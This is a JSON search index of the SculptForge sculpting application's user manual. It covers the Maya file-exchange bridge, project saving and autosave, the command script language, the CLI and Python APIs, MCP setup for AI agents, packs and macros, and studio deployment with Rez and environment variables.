files through one folder that you choose in both, and nothing else: SculptForge opens no ports or connections for this, reads and writes only inside that folder, and never runs anything it finds there. The bridge is off until you choose the folder."},{"p":"maya.html","c":"Working with Maya","a":"install-the-shelf-in-maya","h":"Install the shelf in Maya","t":"Download sculptforge_maya.zip from the latest release and unzip it. Copy sculptforge_maya.py into your Maya scripts folder: Documents\\maya\\scripts\\ on Windows, ~/Library/Preferences/Autodesk/maya/scripts/ on macOS, ~/maya/scripts/ on Linux. In Maya open the Script Editor, and in a Python tab run import sculptforge_maya and then sculptforge_maya.install_shelf(). A SculptForge shelf appears with Send, Get and Folder. The script uses plain maya.cmds and Maya's own OBJ exporter; it needs Maya 2022 or newer."},{"p":"maya.html","c":"Working with Maya","a":"choose-the-exchange-folder","h":"Choose the exchange folder","t":"In SculptForge choose File > Maya > Exchange folder... and pick a folder of your own, for example an empty Documents/SculptForge Maya. In Maya click Folder on the SculptForge shelf and pick the same folder. File > Maya shows the folder; Turn the Maya bridge off forgets it (nothing in it is deleted)."},{"p":"maya.html","c":"Working with Maya","a":"a-round-trip","h":"A round trip","t":"In Maya select one or more meshes and click Send on the SculptForge shelf. In SculptForge choose File > Maya > Get from Maya. Each mesh becomes a Part with its Maya name; a Part with that name already there is replaced (one undo step on that Part). Sculpt, paint, divide, remesh: anything SculptForge does. Choose File > Maya > Send to Maya. Every visible Part goes. In Maya click Get. Each object that came from Maya gets the new mesh and keeps its transform, parent and shading groups; a Part you added in SculptForge becomes a new object. The whole Get is one undo step in Maya. Get automatically (in File > Maya, off by default) loads what Maya sends as soon as it arrives: SculptForge checks the folder's manifest once a second."},{"p":"maya.html","c":"Working with Maya","a":"what-comes-across","h":"What comes across","t":" Maya SculptForge Shape The mesh, in world space The Part, as placed in Maya's scene Faces Quads and triangles; n-gons as triangles Triangles and quads (Wire shows the quads) UVs The current UV set UVs Name The transform's name Part name Units Maya's linear unit (cm by default) Taken as they are: 1 cm in Maya is 1 unit here Face Groups, the mask and vertex paint stay in SculptForge. Normals, creases, construction history, deformers and skinning stay in Maya: Get replaces the mesh shape, so send a copy of a skinned or deformed mesh. A Part named \"Body Hi\" arrives in Maya as Body_Hi (Maya names allow letters, digits and _), and comes back to the same Part."},{"p":"maya.html","c":"Working with Maya","a":"the-exchange-folder","h":"The exchange folder","t":"<folder>/maya_to_sculptforge/manifest.json + r<revision>_<k>.obj written by Maya <folder>/sculptforge_to_maya/manifest.json + r<revision>_<k>.obj written by SculptForge Each manifest is a small JSON file: {\"format\": \"sculptforge-maya\", \"version\": 1, \"revision\": 3, \"sender\": \"maya\", \"unit\": \"cm\", \"objects\": [{\"name\": \"pCube1\", \"file\": \"r3_000.obj\"}]}. Both sides check it strictly before reading anything: at most 256 KiB and 256 objects, every field of the right type, and each file must be a plain .obj name in the manifest's own folder (no folders, no .., no absolute paths, no links). Each send removes the files of the previous one; anything else in the folder is left alone. The commands are maya_send folder= and maya_receive folder= (see Scripting and automation)."},{"p":"maya.html","c":"Working with Maya","a":"troubleshooting","h":"Troubleshooting","t":"\"Nothing has been sent from Maya yet\": check that both apps use the same folder (open File > Maya in SculptForge; click Folder in Maya to see or change it). Get in Maya says nothing has been sent: choose File > Maya > Send to Maya in SculptForge first. A mesh came in as a new object instead of replacing one: Get matches the transform's name; renaming the object in Maya or the Part's Maya name breaks the link."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"","h":"Projects, autosave and snapshots","t":"A SculptForge project (.sfproj) saves your whole scene in one file, so you can close the app and carry on exactly where you stopped. This chapter covers saving and opening projects, the unsaved-changes prompt, recent files, autosave and crash recovery, snapshots, and the Library tabs that show your work."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"what-a-project-keeps","h":"What a project keeps","t":"A .sfproj file holds everything SculptForge knows about the scene: every Part, with its name, visibility, mesh, mask, vertex paint, face groups, hidden faces and UVs; every sculpt layer with its weight, and the active layer of each Part; each Part's Quad Remesh Guides, the curves Quad Remesh's edge loops follow; loaded Gaussian splats and their placement; your custom brushes, so a project opened on another computer still has them; the camera, the material and display settings, the brush, Draw Size, Intensity (and Smooth's), RGB Intensity, Falloff, paint colour and symmetry; a thumbnail, shown in the Library. Undo history isn't saved: an opened project starts with a clean history. Model formats such as OBJ, GLB or FBX can't hold all of this (masks, hidden faces, splats, brushes), so writing them is an export, not a save. See Exporting."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"save-a-project","h":"Save a project","t":"File > Save (Ctrl+S) saves to the current project. The first time, it asks for a file name. File > Save As... (Ctrl+Shift+S) saves under a new name. In the Classic layout, clicking the document name in the title strip also saves. The bar along the top shows the file name with * after it while there are unsaved changes, and the window title starts with *. Any edit in any Part counts, as do splat edits and layer weight changes. If you opened a model file (an OBJ, say) rather than a project, Save asks where to save a new .sfproj; the original model file is left alone."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"open-a-project-or-model","h":"Open a project or model","t":"File > Open... (Ctrl+O) opens a project, a model or a splat capture. Opening a project or model replaces the scene. File > Open Recent lists the last 10 files you opened or saved. Files that no longer exist are dropped from the list. Clear Recent empties it. Drop a file onto the window to open it. In the Library, double-click a project or model. File > New Sphere (Ctrl+N) and File > New Plane start a fresh scene. When you open a project, its saved camera, material and brush settings come back too."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"start-from-a-starter-mesh","h":"Start from a starter mesh","t":"Instead of a sphere, start from a base mesh with clean, even quads: File > New from Starter Mesh lists them, the Library's Tool tab has a Starter meshes folder with a thumbnail of each, and the welcome's Start from a head opens the human head straight away. Starter mesh What it is Human Head A neutral head and neck with loops round the eyes and mouth, for portraits Bust Head, neck, shoulders and upper chest Full Body A human figure in A-pose, 167 cm tall Hand, Foot, Ear A left hand (raised, palm to the front), a left foot and ankle, a left ear Eye An eyeball 24 mm across, with the cornea and rings of quads round the pupil Stylised Head A cartoon head: big cranium and eyes, small nose and jaw Creature Head A dragon or creature blockout: skull, jaw and two horns, each its own Part Torso A human torso from the neck to the upper thighs Rounded Box, Cylinder, Capsule, Ring Hard-surface primitives with bevelled edges and quad caps Every starter mesh is life size in centimetres, centred, standing on the ground and looking down +Z, and the symmetric ones are exactly symmetric, so X symmetry works from the first stroke. The Hand, Foot, Ear, Head, Bust and Torso are cut from a body, so they have open edges where they were cut. A starter mesh opens with subdivision levels (two, or one for the Full Body): block out the big forms at SDiv 1, the base cage, and step up for the detail (see Geometry). It opens as a new, unsaved scene: Save asks for a name. Double-click a tile to open it; Shift+double-click appends its base cage as a Part, for example an Eye next to a head. The human meshes come from the MakeHuman base mesh, which MakeHuman released into the public domain (CC0); the others are made by SculptForge's own build script. You may use them for anything, including commercial work."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"the-unsaved-changes-prompt","h":"The unsaved-changes prompt","t":"When the scene has unsaved changes, New Sphere, New Plane, Open..., Open Recent, dropping a model or project, Quit (Ctrl+Q) and closing the window first ask: Save saves the project (asking for a name if it has none), then carries on; Don't Save discards the changes and carries on; Cancel goes back to your work. Dropping an image or a .sfbrush file never asks, because it doesn't replace the scene."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"autosave-and-crash-recovery","h":"Autosave and crash recovery","t":"While the scene has unsaved changes, SculptForge writes a recovery copy every few minutes (every 5 minutes by default; it waits until you finish a stroke). Change the interval, or turn it off with 0, in Edit > Preferences > Autosave or with the Autosave (min) slider in the File palette (0 to 60 minutes). The recovery copy is autosave.sfproj in the SculptForge settings folder (see Troubleshooting for where that is on your system). It is deleted once your work is saved or you discard the changes. If SculptForge didn't close normally (a crash or power cut), the next start asks Restore Autosave?: Restore opens the autosaved scene as an untitled, unsaved document. Save it to keep it. Discard deletes the recovery copy. The autosave also appears first in the Library Snapshots tab while it exists. Note: Autosave is a safety net, not a substitute for saving. It keeps only the latest copy and is removed as soon as you save."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"snapshots","h":"Snapshots","t":"File > Save Snapshot (also the Snapshot button in the Classic layout's title strip) saves a timestamped copy of the whole scene (experienced sculptors: QuickSave). Your project file, its name and its unsaved state are not changed, so a snapshot is safe to take before any risky step. Copies go to the QuickSave folder of your library (by default Documents/SculptForge/QuickSave), named like Snapshot 2026-10-21 23-15-04.sfproj (older QuickSave ... files are listed too). The last 10 snapshots are kept; older ones are deleted. They appear in the Library Snapshots tab, newest first, labelled with their date and time. Double-click one to open it. The tab also has a Save now button. With the Classic sculpting keys (Edit > Preferences > Input) 9 takes a snapshot; otherwise it has no default shortcut. To give it one, hold Ctrl+Alt, click the Snapshot button and press a key (see The interface)."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"your-library-folder-and-the-library","h":"Your library folder and the Library","t":"SculptForge keeps a library folder for your work, by default SculptForge in your Documents folder. It is created on first use with these sub-folders: Folder Library tab What goes there Projects Project Your .sfproj files Tools Tool Models to open or append as Parts Brushes Brush .sfbrush files Alphas Alpha Grayscale images for brush alphas MatCaps Material Lit Sphere images, loaded as materials at start-up Images Image Sketches and concept art for Generate 3D Splats Splats Gaussian splat captures QuickSave Snapshots Snapshots Change it in Edit > Preferences > Library > Library folder, then Store Config (Ctrl+Shift+I) to keep the setting. Press , (comma) to show the Library. The tabs that matter for projects: Project: the projects in your Projects folder, plus any recent project saved elsewhere. Each shows the thumbnail saved with it. Snapshots: the autosave (when there is one) and your snapshots, newest first. Recent: everything in Open Recent, of every kind. Double-click a tile to open it (you are asked about unsaved changes first). In the Tool tab, Shift+double-click a model to append it as a Part instead. The Library showing project thumbnails"},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"scripting","h":"Scripting","t":"Command What it does save_project path=work/dragon.sfproj Save the project (without path, to the current project) open_project path=work/dragon.sfproj Open a project (open also recognises .sfproj) open path=scan.obj Open a model, splat capture or project new_sphere subdivisions=6 / new_plane resolution=128 Start a new scene new_starter_mesh name=human-head Start from a starter mesh (levels=0 for the bare base cage) Projects saved by sculptforge-cli or Python open in the app too. For the file layout, see docs/project-format.md."},{"p":"projects.html","c":"Projects, autosave and snapshots","a":"see-also","h":"See also","t":"The interface: Library, shortcuts and Store Config Parts Exporting: formats for other applications Troubleshooting: where settings and the autosave live"},{"p":"scripting.html","c":"Scripting and automation","a":"","h":"Scripting and automation","t":"Every operation in SculptForge is a named command with parameters. The same commands run from the console inside the app, from script files, from the sculptforge-cli tool on a build farm, from Python, and from AI agents through the Model Context Protocol (MCP). This chapter explains the script language, the console, both command-line programs, the Python module and MCP setup."},{"p":"scripting.html","c":"Scripting and automation","a":"the-script-language","h":"The script language","t":"A script is a list of statements. Each statement is a command name followed by name=value parameters: new_sphere subdivisions=5 subdivide levels=1 remesh resolution=256; decimate ratio=0.5 # two statements on one line export_glb path=\"My Sculpts/bust.glb\" The rules: Statements are separated by new lines or by ;. # starts a comment that runs to the end of the line (outside quotes). Parameters are name=value with no spaces around =. true and false are booleans; numbers are numbers; anything else is text. Put text in double quotes when it contains spaces, ;, # or \", or when it must stay text even though it looks like a number. Inside quotes only \\\" and \\\\ are escapes, so Windows paths such as \"C:\\Users\\me\\head.obj\" work as written. Colours with a # must be quoted: set_color color=\"#d9a07a\". Paths are UTF-8. Relative paths are relative to the current folder of the program running the script. Scripts stop at the first command that fails."},{"p":"scripting.html","c":"Scripting and automation","a":"the-console","h":"The console","t":"Press the backtick key (left of 1), or choose File > Script > Console, to open the console strip above the bottom shelf. Drag its top edge to resize it. The console showing commands run from the interface and typed by hand Every command you run appears in the console as a script line, whether it came from a button, a shortcut, the command palette or the console itself, followed by its result. Failures show in red with the reason. Type a statement and press Enter to run it. Several statements separated by ; run in order and stop at the first failure. Tab completes command names, then parameter names. Press Tab again to list the candidates. Up and Down walk through the last 200 lines you typed. The history is kept between sessions. help (or ?) lists every command; help remesh explains one command and its parameters. clear empties the log. The console buttons (also in File > Script): Button What it does Run script file... Runs a text file of statements (.sfscript or .txt), stopping at the first failure Copy session as script Puts every command run this session on the clipboard as a script you can save and run again Clear console Empties the log. The session script is kept Tip: To record a macro, work normally, then click Copy session as script, paste it into a text file and edit out what you don't need. Run it later with Run script file... or sculptforge-cli -f."},{"p":"scripting.html","c":"Scripting and automation","a":"the-command-palette","h":"The command palette","t":"Press F3 (or Ctrl+Shift+P, or click Search at the top right of the window) to search every command, brush and setting by name. Enter runs the highlighted entry; Shift+Enter opens it in the console so you can add parameters first. Commands that need parameters always open in the console. With an empty search, the palette lists what you used recently. See The interface. The command palette searching for a command Tip: Hold Ctrl+Alt and point at a button to see the scripting parameters of the command behind it."},{"p":"scripting.html","c":"Scripting and automation","a":"commonly-used-commands","h":"Commonly used commands","t":"sculptforge-cli --list (or help in the console) prints every command with all its parameters. These are the ones you will use most: Area Command Key parameters Scene new_sphere subdivisions (0 to 8, default 6) Scene new_plane resolution (cells per side, default 128) Files open path: models, projects, splats, Bridge files Files save_project path (default: the current project) Files open_project path Geometry subdivide levels (1 to 4, default 1) Geometry remesh resolution (32 to 512, default 200) Geometry decimate ratio (default 0.5) or triangles Geometry qremesh target (default 5000), adaptive, keep_groups, detect_edges, use_polypaint, symmetry, keep_original Parts project_all distance (default 0.02), mean, blur, geometry, polypaint, source Geometry mesh_info Sculpting stroke points (required), brush, radius, strength, invert, symmetry, radial, radial_axis, local Brushes brush_set_alpha name (round, square, noise) or path, invert Brushes brush_ai prompt (required), provider, model, endpoint Brushes brush_install path, code or json Brushes brush_save path (required), name Layers layer_add name Layers layer_set_weight index, weight (both required) Masking mask_by_cavity strength, threshold Masking mask_invert, mask_clear, mask_blur, mask_grow iterations where it applies Face Groups polygroup_auto_by_normals angle (default 30) Visibility isolate_polygroup, hide_polygroup group (required) Visibility show_all, delete_hidden Transform transform translate, rotate, scale, pivot, orient, masked, falloff, symmetry, all (Gizmo) Parts subtool_append type (sphere, cube, plane) or path, name, size Parts subtool_select index or name Vertex Paint set_color, paint_fill color, area (unmasked, masked, all) Vertex Paint paint_from_cavity color, strength, smoothing AI image_to_3d path (required), service, model, remesh, resolution AI text_to_3d prompt (required), service, model Export export_glb, export_usd, export_stl, export_ply path (required); export_stl also height_mm, scale, z_up Export export_fbx path (required), lods, ratio, scale Export export_lods path (required), levels, ratio Unreal unreal_send destination, height_cm, lods, network Splats splat_to_mesh (Make sculptable) detail, preset, color, crop, face_guides, stage Splats face_guides landmarks, front, up, target Edit undo, redo A few commands exist only inside the app, because they change the view rather than the model: set_material (name= a Lit Sphere such as Sculpt, or Studio) and new_cube."},{"p":"scripting.html","c":"Scripting and automation","a":"sculptforge-cli","h":"sculptforge-cli","t":"sculptforge-cli runs commands without a window: on a server, a render farm node or in a build pipeline. It keeps one scene for the whole run, loads your brush library (and studio brushes), and uses the same ai.json settings as the app. sculptforge-cli [options] -c, --command \"<script>\" Run commands, separated by ';' (can be given several times) -f, --file <script.txt> Run commands from a file ('-' reads standard input) --set NAME=VALUE Define a variable; script values written $NAME are replaced -l, --list List every command and its parameters --schema Print the commands as LLM tool definitions (JSON) --mcp Run as an MCP server on standard input and output -q, --quiet Only print errors -h, --help Show this help Each command prints its result on one line (export_glb: Exported out/rock.glb). The exit status is 0 when everything succeeded, 1 for a usage or script syntax error, and 2 when a command failed (the error names the line and the command). Variables make one script reusable. A value written $NAME (the whole value) is replaced with the --set value, so paths with spaces stay intact: cat > lods.sfscript <<'EOF' open path=$in remesh resolution=256 export_lods path=$out levels=4 ratio=0.5 EOF for f in rocks/*.obj; do sculptforge-cli --set in=\"$f\" --set out=\"lods/$(basename \"$f\" .obj).glb\" -f lods.sfscript done More examples: # Concept art -> sculptable model -> USDZ (free, via Hugging Face) sculptforge-cli -c 'image_to_3d path=hero.png; export_usd path=hero.usdz' # Design a brush (free, no key) and save it for the team sculptforge-cli -c 'brush_ai prompt=\"weathered stone edges\"; brush_save path=stone.sfbrush' # Cavity dirt on a sculpt, then a coloured PLY sculptforge-cli -c 'open path=bust.sfproj; paint_from_cavity color=\"#3a2a20\" strength=0.8; export_ply path=bust.ply' Warning: Without the quotes, #3a2a20 would start a comment. In a shell, put the whole script in single quotes so the double quotes reach SculptForge."},{"p":"scripting.html","c":"Scripting and automation","a":"the-sculptforge-app-on-the-command-line","h":"The SculptForge app on the command line","t":"The desktop app takes a few options too, for renders and start-up scripts: Option What it does sculptforge FILE Opens a model, project, splat capture or image at start-up --run \"\" Runs commands at start-up --render out.png Renders the scene to an image and exits --turntable N With --render: N frames around the model (out_000.png ...) --size WxH Render size (default 1024x1024) --view YAW,PITCH Camera angles in degrees (default -30,-15) --zoom F Move the camera F times closer than the framed view --wireframe, --polygroups Render with the wireframe or face group colours --hide-mesh Render only the Gaussian splats --fullscreen Start filling the screen (F11 toggles) --demo NAME, --record out.mp4 Play a scripted demo, and record it to a video (needs ffmpeg) --ui-test FILE.sfui, --ui-out DIR Run an interface test script (for developers) A review sheet for a model, eight frames around it: sculptforge model.glb --render review/model.png --turntable 8 --size 1024x1024 Rendering needs an OpenGL 3.3 capable GPU or software renderer and a display. On a headless Linux node, run it under a virtual display such as Xvfb (xvfb-run sculptforge ...)."},{"p":"scripting.html","c":"Scripting and automation","a":"python","h":"Python","t":"SculptForge has a Python module, sculptforge, with the same commands plus NumPy access to the mesh. It is included in the VFX Reference Platform builds and the Rez package (see For studios); when building from source, configure CMake with -DSCULPTFORGE_BUILD_PYTHON=ON. import sculptforge as sf doc = sf.Document() # loads your brush library, like the app sf.run(doc, \"open\", path=\"/show/troll/troll_base.fbx\") sf.run(doc, \"remesh\", resolution=320) sf.run_script(doc, \"decimate ratio=0.25; export_lods path=/out/troll.glb levels=4\") verts, tris = doc.vertices, doc.triangles # NumPy (N, 3) float32 and (M, 3) uint32 doc.set_mesh(verts * 1.1, tris) # bring in a mesh from your own tools (clears undo) print(doc.parts) # [{'name': ..., 'visible': ..., 'triangles': ...}] doc.active_part = \"Helmet\" # select by index or name for name, weight in doc.layers: # sculpt layers (blend shapes) print(name, weight) print([c[\"name\"] for c in sf.commands()]) # every command with its parameters Function or property What it does sf.run(doc, command, **params) Runs one command and returns its message sf.run_script(doc, script) Runs a script in the syntax above and returns the messages sf.commands() Lists every command with its parameters sf.tool_schema() The commands as LLM tool definitions (JSON) doc.vertices, doc.base_vertices, doc.normals, doc.triangles Mesh arrays of the active Part (copies) doc.mask, doc.colors, doc.polygroups, doc.hidden Attribute arrays you can read and assign (None if absent) doc.layers, doc.layer_delta(i) Sculpt layers as (name, weight) and their per-vertex offsets doc.subtools, doc.active_subtool The Parts list and the active Part doc.splat_count Number of loaded Gaussian splats Failures raise sculptforge.CommandError. Long operations release the GIL, so you can run them on worker threads."},{"p":"scripting.html","c":"Scripting and automation","a":"ai-agents-mcp","h":"AI agents (MCP)","t":"sculptforge-cli --mcp runs SculptForge as an MCP server. An AI agent (Claude Code, Claude Desktop or any MCP client) gets every command as a tool and works on one scene for the session: it can open files, generate models, sculpt strokes, remesh, paint and export. Claude Code: claude mcp add sculptforge -- /path/to/sculptforge-cli --mcp Claude Desktop or another client: add a stdio server whose command is the full path to sculptforge-cli and whose argument is --mcp. For Claude Desktop that is an entry in its configuration file like this: { \"mcpServers\": { \"sculptforge\": { \"command\": \"/path/to/sculptforge-cli\", \"args\": [\"--mcp\"] } } } Then ask for something like \"make a sphere, remesh it at 128 and export it to ~/Desktop/ball.glb\". File paths are on your machine. The agent works headless; to see the result, open the exported file in SculptForge. sculptforge-cli --schema prints the same tool definitions as JSON, for wiring SculptForge into your own agent."},{"p":"scripting.html","c":"Scripting and automation","a":"see-also","h":"See also","t":"The interface: the command palette and Ctrl-hover help For studios: Rez, the VFX builds and farm rendering Image and text to 3D and Exporting: the commands in context Keyboard and mouse reference"},{"p":"packs-and-macros.html","c":"Packs and macros","a":"","h":"Packs and macros","t":"A pack is one file (.sfpack) that brings brushes, alphas, Lit Spheres, Material Recipes, VDM brushes, keymaps, pie menus and macros at once. A macro is a list of SculptForge commands you can run with one click, one key or one pie-menu slot. Both are plain data: SculptForge never runs code from a pack or a macro."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"install-a-pack","h":"Install a pack","t":"Use File > Install Pack..., drop a .sfpack file on the window, or click Install Pack... in Library > Packs. Nothing is installed yet: a review shows exactly what is inside first. The review shows Name, version and author As the pack's maker wrote them. Member pack marks the monthly pack or an Insider drop. License The license name, and the license text from the pack on the right. Contains How many brushes, alphas, Lit Spheres, Material Recipes, VDMs, keymaps, pie menus and macros, with every item listed by name. Replaces the installed version When an older version of the same pack is installed. Click Install to add it, or Cancel to leave everything as it was. When a pack fails a check, the review says which file and why (for example \"../evil.sfbrush\" leaves its folder), and nothing is installed. Installed packs live in SculptForge's own data folder, each in its own folder. A pack never replaces a built-in brush or one of your own: a pack brush called like an existing one shows the pack's name after its own, for example Clay (Member pack)."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"where-pack-items-show-up","h":"Where pack items show up","t":"Item Where Brushes and VDMs The brush lists, the Brush picker and Library > Brush, tagged with the pack's name. Alphas The Alpha picker (a Packs section) and Library > Alpha, as Name (Pack). Lit Spheres Render > Materials and Library > Material, as Name (Pack). Material Recipes The Material Recipe list under Tool > Paint Layers > Fill, as Name (Pack). Keymaps Library > Packs > Details > Apply keymap, and Edit > Preferences > Input > Pack keymaps. Pie menus Library > Packs > Details > Add pie menu (it becomes one of your radial menus). Macros F3, the key editor and the pie menus, as Name (Pack). Keymaps and pie menus change how SculptForge responds, so they are only applied when you click Apply keymap or Add pie menu. Store Config keeps the result."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"library--packs","h":"Library > Packs","t":"Open the Library (,) and click Packs. Each installed pack has a row: The check box turns the pack off or on. Off, its items leave every list; nothing is deleted. Details shows its description, folder, keymaps, pie menus and macros. Remove deletes the pack and everything it brought. Your own files are never touched. Start SculptForge with --no-packs to leave every pack out for one session (safe mode), for example to check whether a problem comes from a pack. sculptforge-cli --no-packs does the same for scripts."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"make-a-pack","h":"Make a pack","t":"Library > Packs > New Pack... lists what you made yourself: brushes in your library, images in your Library's Alphas and Lit Spheres folders, the active Part's Fill layers as a Material Recipe, your VDMs, your pie menus, your changed shortcuts (as a keymap) and your macros. Tick what goes in, fill in the name, author, license and description, and click Save Pack.... The file is checked exactly as an install would check it before it is written. Tick Member pack (insider channel) for the monthly pack or an Insider drop. It only changes the label shown in the review and the pack list; anyone can install the file. To build a pack from a folder in a script, lay the folder out like a pack (brushes/, alphas/, matcaps/, materials/, vdms/, keymaps/, piemenus/, macros/, plus LICENSE.txt and preview.png) and run: sculptforge-cli -c 'pack_create folder=MyPack path=MyPack.sfpack id=my-pack name=\"My Pack\" author=Me license=CC-BY-4.0' The file format is described in the pack format."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"record-a-macro","h":"Record a macro","t":"In Library > Packs, click Record Macro. A red Recording macro note shows at the top of the window. Work as usual: every command you run from a menu, a button, the console or a script line is kept. Click Stop Recording. The Macro Editor opens with the commands; give the macro a name and click Save. Commands a macro may not run (see below) are left out, and the status line says how many. A file inside the project folder is kept as a path relative to it; any other file becomes ?, which asks for a file when the macro runs."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"write-or-change-a-macro","h":"Write or change a macro","t":"Macro Editor (in Library > Packs, or F3) is a plain text editor. A macro is the command language of the console and sculptforge-cli, one command per line, # for comments: # name: Clean Up Scan # description: Remesh, smooth and export a GLB next to the project remesh resolution=256 mask_clear export_glb path=exports/clean.glb The line under the text checks it as you type: every command must exist, be allowed in a macro and have the values it needs. Save writes it to your macros folder; Run runs it."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"run-a-macro","h":"Run a macro","t":"Every saved macro (yours and those of enabled packs) is an action: F3: type its name and press Enter. Edit > Preferences > Hotkeys: find it with the filter and give it a key, like any other action (see Assign shortcuts). Edit > Preferences > Input > Radial Menus: put it in a pie menu slot. Library > Packs: Run next to your macros, or in a pack's Details. The first time a macro runs, SculptForge shows its whole command list and asks. Click Run to go on; you are not asked again for that macro unless its text changes. A macro's edits on one Part are one undo step (Ctrl+Z takes back the whole macro)."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"what-a-macro-can-do","h":"What a macro can do","t":"A macro only runs SculptForge's own commands, in order. It can't run programs or scripts, and it can't: reach the network (AI services, the brush gallery, Unreal, the phone link) or send to Blender, Maya or the Bridge; install, remove or switch packs, or run another macro; name a file outside the project folder. File values are either a path inside the folder of the saved project (exports/clean.glb) or ?, which opens a file dialog when the macro runs. Absolute paths, .., ~ and drive letters are refused. Save the project first when a macro uses relative paths: they are relative to the project's folder."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"scripts-and-python","h":"Scripts and Python","t":"The same rules apply outside the app: Command What it does pack_install path=Pack.sfpack Checks and installs a pack (the app shows the review first). pack_list Lists the installed packs: id, name, version, author, license, contents, on or off. pack_remove id=my-pack Removes a pack. pack_enable id=... / pack_disable id=... Turns a pack on or off. pack_create folder=... path=... Makes a pack from a folder laid out like one. macro_run name=... or path=... Runs a macro (project= sets the folder its relative paths use). macro_list / macro_check Lists the macros, or checks one without running it. In Python, sculptforge.run(doc, \"pack_install\", path=\"Pack.sfpack\") and the other commands work the same way. A command you type into sculptforge-cli or Python is your own explicit request, so it runs without the confirmation the app shows. AI agents connected through sculptforge-cli --mcp can't install, remove or switch packs."},{"p":"studios.html","c":"SculptForge for studios","a":"","h":"SculptForge for studios","t":"SculptForge is built to drop into animation, VFX and game studios that run their own pipelines: native on Linux, scriptable, standards-based, with no licence server and nothing that phones home. This chapter is for pipeline TDs and IT: the VFX Reference Platform builds, Rez deployment, shared brush libraries, environment variables, headless use and licensing."},{"p":"studios.html","c":"SculptForge for studios","a":"vfx-reference-platform-builds","h":"VFX Reference Platform builds","t":"SculptForge tracks the VFX Reference Platform. Every commit is built and tested in the platform's reference environments: CY2026 CY2027 SculptForge Linux compiler GCC 14.2 GCC 14.2 Built and tested with gcc-toolset-14 glibc 2.28 (EL8) 2.34 (EL9) Rocky Linux 8 and 9 builds; CI checks that no newer glibc symbols are used C++ C++20 C++20 C++20 Python 3.13 3.13 The sculptforge module is built and tested against 3.13 Windows VS 2022 17.6+ VS build tools 14.44+ Visual Studio 2022 macOS minimum 14.0 14.0 Universal binary with deployment target 11.0 FBX 2020.x 2020.x Writes FBX 7.4 binary, which FBX SDK 2020 reads SculptForge doesn't depend on Qt, OpenEXR, Boost, TBB or other platform libraries, so it can't conflict with the versions your other tools load. Its few dependencies (SDL3, Dear ImGui, GLM, ufbx) are linked into the binaries. Each release includes SculptForge--linux--vfx2026.tar.gz (Rocky 8, glibc 2.28) and ...-vfx2027.tar.gz (Rocky 9, glibc 2.34), for x86_64 and ARM64, with the Python module under lib/sculptforge/python."},{"p":"studios.html","c":"SculptForge for studios","a":"deploy-with-rez","h":"Deploy with Rez","t":"packaging/rez/package.py in the source tree builds and installs a Rez package: cd packaging/rez SCULPTFORGE_PYTHON=$(which python3.13) rez-build --install # or --release for your release repository rez-env sculptforge -- sculptforge # the app rez-env sculptforge -- sculptforge-cli --list # every pipeline command rez-env sculptforge python-3.13 -- python -c \"import sculptforge\" The package puts bin/ on PATH and the Python module on PYTHONPATH, and sets SCULPTFORGE_ROOT. The Python module is built for the first python3 found unless SCULPTFORGE_PYTHON names an interpreter."},{"p":"studios.html","c":"SculptForge for studios","a":"studio-brush-libraries","h":"Studio brush libraries","t":"Each artist's own brushes live in their user brush library, one .sfbrush file per brush (see Brush Lab and sharing brushes). To give a whole team the same brushes, put .sfbrush files on a share and list it in SCULPTFORGE_BRUSH_PATH: export SCULPTFORGE_BRUSH_PATH=/studio/brushes:/show/troll/brushes # ';' between folders on Windows sculptforge-cli -c 'brush_library' # every brush, where it comes from and its file, plus the folders The app, sculptforge-cli and the Python module load these folders at start-up, read-only: SculptForge never writes into them, so the share can be mounted read-only. Studio brushes show a studio tag in the Custom brushes list. When brushes share a name, the artist's own wins over a studio one, which wins over a built-in. Among studio folders, the first one listed wins. Refining a studio brush in Brush Lab saves the artist's own version (tagged yours) without touching the share. Deleting that version brings the studio brush back. To publish a brush, copy its .sfbrush file into the share: right-click it in the Custom brushes list > Save .sfbrush..., or take it from an artist's user library. With Rez, set the share once for everyone: when SCULPTFORGE_STUDIO_BRUSHES is set as the package resolves (in a site package, your rezconfig or the launcher), it is appended to SCULPTFORGE_BRUSH_PATH. export SCULPTFORGE_STUDIO_BRUSHES=/studio/brushes rez-env sculptforge -- sculptforge"},{"p":"studios.html","c":"SculptForge for studios","a":"environment-variables","h":"Environment variables","t":"Variable Effect SF_AI off: every AI feature off and locked (app, sculptforge-cli, MCP, Python); on: on whatever was saved. --no-ai does the same as off for one start SCULPTFORGE_BRUSH_PATH Read-only studio brush folders (:-separated, ; on Windows) SCULPTFORGE_STUDIO_BRUSHES With the Rez package: appended to SCULPTFORGE_BRUSH_PATH SCULPTFORGE_BRUSH_GALLERY Use another community brush gallery index (a URL or a folder), for example an in-house mirror HF_TOKEN (or HUGGING_FACE_HUB_TOKEN) Hugging Face token for the free image-to-3D models FAL_KEY, MESHY_API_KEY Keys for the paid generation services ANTHROPIC_API_KEY, OPENAI_API_KEY Keys for Brush Lab providers XDG_DATA_HOME (Linux), APPDATA (Windows) Move the settings folder (see where settings live) Keys from the environment are used when none is saved in the app, so a launcher can supply them without writing them to each artist's settings."},{"p":"studios.html","c":"SculptForge for studios","a":"headless-and-farm-use","h":"Headless and farm use","t":"sculptforge-cli runs every editing operation without a display: imports, remeshing, decimation, LOD chains, FBX, USD and glTF export, splat conversion and AI generation. See Scripting and automation. sculptforge --render out.png --turntable 8 renders review images and turntables offscreen. It needs an OpenGL 3.3 context; on a headless Linux node, run it under Xvfb. sculptforge-cli --mcp exposes the same operations to AI agents through the Model Context Protocol. import sculptforge gives Python the same commands plus NumPy arrays of the mesh, for your own tools. A typical 